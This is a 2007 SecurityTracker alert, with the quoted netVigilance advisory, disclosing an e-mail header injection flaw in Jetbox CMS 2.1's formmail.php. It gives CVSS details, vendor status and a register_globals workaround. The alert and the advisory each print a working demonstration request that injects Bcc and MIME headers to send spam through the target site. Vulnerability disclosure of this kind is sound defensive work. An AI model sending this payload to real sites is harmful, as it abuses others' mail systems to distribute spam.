Jetbox CMS Lets Remote Users Inject E-mail to Send Arbitrary E-mail Messages via the System
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SecurityTracker Alert ID: 1018063 |
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SecurityTracker URL: http://securitytracker.com/id/1018063
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CVE Reference:
CVE-2007-1898
(Links to External Site)
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Date: May 15 2007
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Impact:
Host/resource access via network
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Exploit Included: Yes
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Version(s): 2.1
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Description:
A vulnerability was reported in Jetbox CMS. A remote user can send arbitrary e-mail messages via the system.
The 'formmail.php' script does not properly validate user-supplied input. A remote user can supply specially crafted parameter values to send arbitrary e-mail messages via the system.
The PHP register_globals parameter must be set to exploit this vulnerability.
A demonstration exploit request is provided:
http://[TARGET]/[JETBOX-DIRECTORY formmail.php?recipient=spam1@somedomain.com&_SETTINGS[allowed_email_hosts][]=somedomain.com&subject=Some
Spam Subject%0ABcc: spam_address2@somedomain.com, spam_address2@somedomain.com, spam_address4@somedomain.com, spam_addressN@somedomain.com%0AFrom:
any_address@somedomain.com%0AMIME-Version: 1.0%0AContent-Type: multipart/mixed; boundary=Hacker;%0A%0A-- Hacker%0ASome Spam Message%0A%0AContent-Type:text/html;name=any_file.html;%0AContent-Transfer-Encoding:8bit%0AContent-Disposition:
attachment%0A%0AHTML File%0A%0A--Hacker--%0AOther text will be hide
Jesper Jurcenoks of netVigilance, Inc. discovered this vulnerability.
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Impact:
A remote user can send arbitrary e-mail messages via the system.
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Solution:
No solution was available at the time of this entry.
[Editor's note: The report indicates that the software may no longer be supported.]
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Vendor URL: jetbox.streamedge.com/ (Links to External Site)
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Cause:
Input validation error
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Underlying OS:
Linux (Any), UNIX (Any), Windows (Any)
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Message History:
None.
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Source Message Contents
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Date: 15 May 2007 16:25:54 -0000
Subject: Jetbox CMS version 2.1 E-Mail Injection Vulnerability
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Jetbox CMS version 2.1 E-Mail Injection Vulnerability
Description:
Jetbox content management system is seriously tested on usability & has a professional intuitive interface. The system is role based,
with workflow and module orientated. All content is fully separated from layout. It uses php & mysql.
Security problems in the product allow attackers to send any spam e-mails using mail form of target site.
External References:
Mitre CVE: CVE-2007-1898
NVD NIST: CVE-2007-1898
OSVDB: 34088
Summary:
Jetbox content management system has a professional intuitive interface.
Successful exploitation requires PHP register_globals set to On on the server.
Advisory URL:
http://www.netvigilance.com/advisory0026
Release Date:
05/15/2007
Severity:
Risk: Medium
CVSS Metrics
Access Vector: Remote
Access Complexity: High
Authentication: Not-required
Confidentiality Impact: None
Integrity Impact: Partial
Availability Impact: Partial
Impact Bias: Normal
CVSS Base Score: 3.7
Target Distribution on Internet: Low
Exploitability: Functional Exploit
Remediation Level: Workaround
Report Confidence: Uncorroborated
Vulnerability Impact: Attack
Host Impact: E-mail injection.
SecureScout Testcase ID:
Vulnerable Systems:
Jetbox version 2.1
Vulnerability Type:
Email Injections using to send anonymous emails to other recipients.
Vendor:
Streamedge Consultancy & Development
Vendor Status:
Contact with the Vendor was established. The vendor refused to fix the issue and said that Jetbox is not maintained already. There
is no official fix at the release of this Security Advisory
Workaround:
In the php.ini file set register_globals to Off.
Example:
REQUEST:
http://[TARGET]/[JETBOX-DIRECTORY formmail.php?recipient=spam1@somedomain.com&_SETTINGS[allowed_email_hosts][]=somedomain.com&subject=Some
Spam Subject%0ABcc: spam_address2@somedomain.com, spam_address2@somedomain.com, spam_address4@somedomain.com, spam_addressN@somedomain.com%0AFrom:
any_address@somedomain.com%0AMIME-Version: 1.0%0AContent-Type: multipart/mixed; boundary=Hacker;%0A%0A-- Hacker%0ASome Spam Message%0A%0AContent-Type:text/html;name=any_file.html;%0AContent-Transfer-Encoding:8bit%0AContent-Disposition:
attachment%0A%0AHTML File%0A%0A--Hacker--%0AOther text will be hide
REPLY:
Spam will be sent from the target site
Credits:
Jesper Jurcenoks
Co-founder netVigilance, Inc
www.netvigilance.com
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